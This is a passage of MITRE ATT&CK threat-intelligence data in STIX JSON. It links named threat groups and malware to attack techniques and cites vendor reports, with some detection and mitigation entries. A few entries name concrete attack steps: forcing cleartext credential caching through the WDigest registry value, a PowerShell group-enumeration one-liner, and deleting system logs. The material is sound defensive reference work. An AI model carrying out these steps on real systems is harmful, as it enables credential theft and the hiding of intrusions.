            "modified": "2025-04-16T22:24:35.977Z",
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key <code>HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest</code> by setting the <code>UseLogonCredential</code> registry value to <code>1</code> in order to force credentials to be stored in clear text in memory. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also modified the WDigest registry key to allow plaintext credentials to be cached in memory.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75f2e135-5c45-4b27-a7dc-f62e68f6a5ce",
            "created": "2021-12-01T18:23:32.725Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET Gelsemium June 2021",
                    "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:24:36.180Z",
            "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can retrieve data from specific Windows directories, as well as open random files as part of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).(Citation: ESET Gelsemium June 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328",
            "created": "2019-01-30T15:27:06.732Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"
                }
            ],
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            ],
            "modified": "2025-04-16T22:24:36.391Z",
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.(Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1 Appendix)",
            "relationship_type": "uses",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523",
            "created": "2017-12-14T16:46:06.044Z",
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            "revoked": false,
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                {
                    "source_name": "Savill 1999",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
                }
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            "modified": "2025-04-16T22:24:36.577Z",
            "description": "Commands such as <code>net group</code> and <code>net localgroup</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)",
            "relationship_type": "uses",
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc",
            "created": "2019-01-29T19:18:28.775Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "TrendMicro DarkComet Sept 2014",
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET"
                },
                {
                    "source_name": "Malwarebytes DarkComet March 2018",
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:54:37.458Z",
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--75fc48f0-fafe-45b8-aeae-53e26487e642",
            "created": "2025-03-16T10:00:41.934Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Symantec Bilbug 2022",
                    "description": "Symntec Threat Hunter Team. (2022, November 12). Billbug: State-sponsored Actor Targets Cert Authority, Government Agencies in Multiple Asian Countries. Retrieved March 15, 2025.",
                    "url": "https://www.security.com/threat-intelligence/espionage-asia-governments-cert-authority"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:24:36.977Z",
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                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.",
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                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
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                    "source_name": "Talos TinyTurla September 2021",
                    "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.",
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            "description": "(Citation: Unit 42 Kazuar May 2017)(Citation: Talos TinyTurla September 2021)",
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                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#34"
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                {
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
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                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
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            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ",
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            "revoked": false,
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                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.",
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            "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used WinRM via PowerShell to execute commands and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)",
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                    "source_name": "Bitdefender Naikon April 2021",
                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"
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            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has copied tools between compromised hosts using SMB.(Citation: NCC Group Chimera January 2021)",
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                    "source_name": "Group IB Silence Sept 2018",
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                {
                    "source_name": "HP RaspberryRobin 2024",
                    "description": "Patrick Schl\u00e4pfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.",
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            "description": "[IMAPLoader](https://attack.mitre.org/software/S1152) uses WMI queries to gather information about the victim machine.(Citation: PWC Yellow Liderc 2023)",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "x_mitre_attack_spec_version": "3.2.0"
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                    "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.",
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                    "source_name": "Mandiant FIN13 Aug 2022",
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            "modified": "2025-04-16T22:25:00.464Z",
            "description": "[FIN13](https://attack.mitre.org/groups/G1016) has downloaded additional tools and malware to compromised systems.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4",
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) will delete their tools and files, and kill processes after their objectives are reached.(Citation: Secureworks BRONZE PRESIDENT December 2019)",
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                    "source_name": "Certfa Charming Kitten January 2021",
                    "description": "Certfa Labs. (2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.",
                    "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/"
                },
                {
                    "source_name": "ClearSky Kittens Back 3 August 2020",
                    "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.",
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                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
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                    "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.",
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                    "source_name": "Secureworks IRON RITUAL Profile",
                    "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.",
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                    "description": "McGraw, T. (2024, December 4). Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware. Retrieved December 9, 2024.",
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                    "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.",
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                    "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020.",
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                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021.",
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                    "source_name": "McAfee Cuba April 2021",
                    "description": "Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021.",
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            "modified": "2025-04-28T15:55:56.459Z",
            "description": "[Cuba](https://attack.mitre.org/software/S0625) can use the function <code>GetIpNetTable</code> to recover the last connections to the victim's machine.(Citation: McAfee Cuba April 2021) ",
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            "description": "[Stuxnet](https://attack.mitre.org/software/S0603) uses a Windows rootkit to mask its binaries and other relevant files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)",
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                    "source_name": "CIRCL PlugX March 2013",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf"
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                {
                    "source_name": "Proofpoint TA416 Europe March 2022",
                    "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.",
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to download and execute files on the compromised machine.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)",
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                    "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
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                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"
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                    "source_name": "ESET Gamaredon June 2020",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
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                    "source_name": "CERT-EE Gamaredon January 2021",
                    "description": "CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.",
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                    "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.",
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                    "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.",
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            "description": "[PULSECHECK](https://attack.mitre.org/software/S1108) is a web shell that can enable command execution on compromised servers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)",
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
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            "description": "[Pacu](https://attack.mitre.org/software/S1091) can search for sensitive data: for example, in Code Build environment variables, EC2 user data, and Cloud Formation templates.(Citation: GitHub Pacu)",
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            "modified": "2025-04-28T15:56:10.127Z",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>fsutil fsinfo drives</code> to list connected drives.(Citation: ESET ComRAT May 2020)",
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                    "source_name": "Talos Frankenstein June 2019",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.",
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            "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors exploited CVE-2017-11882 to execute code on the victim's machine.(Citation: Talos Frankenstein June 2019)",
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                },
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                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
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                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
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            "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to conceal its activity through hiding active windows.(Citation: TrendMicro BlackTech June 2017)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
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                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
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            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
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            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used XMRIG to mine cryptocurrency on victim systems.(Citation: RedCanary Mockingbird May 2020)",
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            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.(Citation: Palo Alto Networks BBSRAT)",
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                    "description": "Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.",
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
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                    "source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011",
                    "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved November 17, 2024.",
                    "url": "https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en"
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            "description": "[Stuxnet](https://attack.mitre.org/software/S0603) uses a driver to scan for specific filesystem driver objects.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)",
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                    "source_name": "Cybereason Bumblebee August 2022",
                    "description": "Cybereason. (2022, August 17). Bumblebee Loader \u2013 The High Road to Enterprise Domain Control. Retrieved August 29, 2022.",
                    "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"
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            "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can inject code into multiple processes on infected endpoints.(Citation: Cybereason Bumblebee August 2022)",
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                    "source_name": "def_ev_win_event_logging",
                    "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
                    "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
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                    "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.",
                    "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
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                    "source_name": "Google Workspace External Sharing",
                    "description": "Google. (n.d.). Manage external sharing for your organization. Retrieved March 4, 2024.",
                    "url": "https://support.google.com/a/answer/60781"
                },
                {
                    "source_name": "Microsoft 365 External Sharing",
                    "description": "Microsoft. (2023, October 11). Manage sharing settings for SharePoint and OneDrive in Microsoft 365. Retrieved March 4, 2024.",
                    "url": "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off"
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            "description": "Configure appropriate data sharing restrictions in cloud services. For example, external sharing in Microsoft SharePoint and Google Drive can be turned off altogether, blocked for certain domains, or restricted to certain users.(Citation: Google Workspace External Sharing) (Citation: Microsoft 365 External Sharing)",
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                {
                    "source_name": "Securelist Brazilian Banking Malware July 2020",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.",
                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"
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            "description": "[Melcoz](https://attack.mitre.org/software/S0530) can use DLL hijacking to bypass security controls.(Citation: Securelist Brazilian Banking Malware July 2020)",
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                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
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            "description": "An older version of [CHOPSTICK](https://attack.mitre.org/software/S0023) has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.(Citation: ESET Sednit Part 2)",
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                {
                    "source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015",
                    "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021.",
                    "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/"
                },
                {
                    "source_name": "Microsoft DUBNIUM June 2016",
                    "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/"
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with <code>.Md5.exe</code>, and if the program is executed from the root of the C:\\ drive, as well as checks for sandbox-related libraries.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)(Citation: Microsoft DUBNIUM June 2016)",
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            "description": "monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to detect RDP session hijacking. Windows PowerShell log Event ID 4104 (PS script execution) can be used to capture PowerShell script block contents which may contain commands used as a precursor to RDP hijacking. For example, the following command in a PowerShell script block may be used to enumerate the systems on a network which have RDP access: <code>Find-DomainLocalGroupMember -GroupName \"Remote Desktop Users\" | select -expand ComputerName</code>.",
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                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
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            "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has obfuscated its module with an alphabet-based table or XOR encryption.(Citation: Kaspersky StoneDrill 2017)",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
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            "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used SMB to copy files to and from target systems.(Citation: FoxIT Wocao December 2019)",
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                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            "description": "[Dipsind](https://attack.mitre.org/software/S0200) encodes C2 traffic with base64.(Citation: Microsoft PLATINUM April 2016)",
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            "description": "Monitor and analyze traffic patterns and packet inspection associated to LDAP and MSRPC that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure).",
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                {
                    "source_name": "Check Point Warzone Feb 2020",
                    "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021.",
                    "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/"
                },
                {
                    "source_name": "Uptycs Warzone UAC Bypass November 2020",
                    "description": "Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022.",
                    "url": "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique"
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            "modified": "2025-04-16T22:28:26.553Z",
            "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use PowerShell to download files and execute commands.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)",
            "relationship_type": "uses",
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                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
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            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has the ability to decode downloaded files prior to execution.(Citation: CISA AA20-301A Kimsuky)",
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            "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has removed system logs from <code>/var/log/syslog</code>.(Citation: Aqua TeamTNT August 2020)",
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                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
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                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
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                    "source_name": "GitHub Rubeus March 2023",
                    "description": "Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.",
                    "url": "https://github.com/GhostPack/Rubeus"
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                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.",
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            "description": "[Rubeus](https://attack.mitre.org/software/S1071) can reveal the credentials of accounts that have Kerberos pre-authentication disabled through AS-REP roasting.(Citation: GitHub Rubeus March 2023)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020) ",
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                    "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
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                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.",
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                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf"
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                    "source_name": "BleepingComputer Molerats Dec 2020",
                    "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020.",
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            "description": "[DropBook](https://attack.mitre.org/software/S0547) can download and execute additional files.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)",
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            "description": "Monitor for common cryptomining or proxyware files on local systems that may indicate compromise and resource usage.",
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            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
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            "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can encrypt and encode its configuration file.(Citation: Trend Micro Iron Tiger April 2021)",
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                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
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                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.(Citation: Unit 42 Magic Hound Feb 2017)",
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            "revoked": false,
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                {
                    "source_name": "Symantec Troll Stealer 2024",
                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
                    "url": "https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage"
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            "modified": "2025-04-16T22:29:22.997Z",
            "description": "[Gomir](https://attack.mitre.org/software/S1198) is uniquely associated with [Kimsuky](https://attack.mitre.org/groups/G0094) operations.(Citation: Symantec Troll Stealer 2024)",
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            "revoked": false,
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                {
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                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.",
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            "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the first stage downloader resolved various Windows libraries and APIs, including `LoadLibraryA()`, `GetProcAddress()`, and `CreateProcessA()`.(Citation: McAfee Sharpshooter December 2018)",
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                    "source_name": "FireEye FIN6 Apr 2019",
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows service.(Citation: FireEye FIN6 Apr 2019)\t",
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                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
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                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
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            "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can establish persistence by registering a new service.(Citation: ESET Attor Oct 2019)",
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            "modified": "2025-04-16T22:29:24.168Z",
            "description": "Monitor for newly constructed services/daemons that may carry out malicious operations using a virtual instance to avoid detection. Consider monitoring for new [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software.",
            "relationship_type": "detects",
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            "id": "relationship--87cc66d0-7cab-4584-b86e-f2d56d492271",
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                    "source_name": "Unit42 SilverTerrier 2018",
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise"
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            "modified": "2025-04-28T15:57:56.477Z",
            "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses HTTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t",
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            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
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            "relationship_type": "mitigates",
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            "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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            "x_mitre_deprecated": false,
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            "id": "relationship--87d7a5b5-8f45-4a88-bc3c-f73f67a50255",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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            ],
            "modified": "2025-04-16T22:29:24.797Z",
